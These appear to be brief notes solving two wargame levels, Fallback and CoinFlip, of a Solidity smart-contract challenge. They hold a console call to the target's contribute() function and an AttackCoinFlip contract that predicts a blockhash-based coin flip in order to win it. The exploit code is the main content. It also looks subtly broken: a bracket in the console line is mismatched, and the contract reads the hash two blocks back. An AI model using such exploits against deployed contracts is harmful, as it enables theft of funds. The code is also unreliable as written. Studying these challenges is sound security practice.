Fallback

await contract.methods['contribute()'].sendTransaction({from: player, value: toWei('0.0001'})

Coinflip

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
import "./CoinFlip.sol";
 
contract AttackCoinFlip {
    CoinFlip public coinFlip;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
    constructor(address payable _coinFlipAddres){
        coinFlip = CoinFlip(_coinFlipAddres);
    }
    
    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number - 2));
 
        if (lastHash == blockValue) {
            revert();
        }
 
        lastHash = blockValue;
        uint256 coin = blockValue / FACTOR;
        bool side = coin == 1 ? true : false;
 
        coinFlip.flip(side);
    }
}

Resources